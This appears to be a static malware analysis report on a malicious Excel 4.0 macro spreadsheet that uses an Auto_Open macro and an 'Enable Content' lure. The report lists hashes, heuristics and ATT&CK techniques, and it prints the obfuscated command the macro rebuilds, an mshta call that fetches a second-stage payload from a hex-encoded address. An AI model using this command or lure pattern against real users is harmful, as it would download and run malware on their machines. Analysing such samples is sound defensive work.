Malicious Office (OLE) / .XLS — malware analysis report

Static analysis result for SHA-256 f615cd181bd72a15…

MALICIOUS

Office (OLE) / .XLS

64.9 KB Created: 2022-01-17 17:40:35 Authoring application: Microsoft Excel
MD5: 4e1224cc1147f8d51bbb86d627fe0272 SHA-1: c6877e1d7612ced27e783f9f5e07f5865ff33bb1 SHA-256: f615cd181bd72a15dd9806af0a25fde6bb72359e20705dd563eda054c6896bd9
100 Risk Score

Malware Insights

MITRE ATT&CK
T1204.002 Malicious File T1059.003 Windows Command Shell

The sample is an Excel 4.0 macro-enabled spreadsheet that uses an Auto_Open macro to execute a command. The document body contains a lure to 'Enable Editing' and 'Enable Content' to bypass security. The macro reconstructs the command 'cmd /c m^sh^t^a h^tt^p^:/^/0xc12a24f5/cc.html', which indicates it downloads a second-stage payload from the specified URL.

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt
0807f652a36752efcd354ce3c536f2fe7ed4cd53a3ff1787c33acb378dda90a0		 xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 1073 bytes

Open this report in the interactive analyzer, or submit your own file for analysis.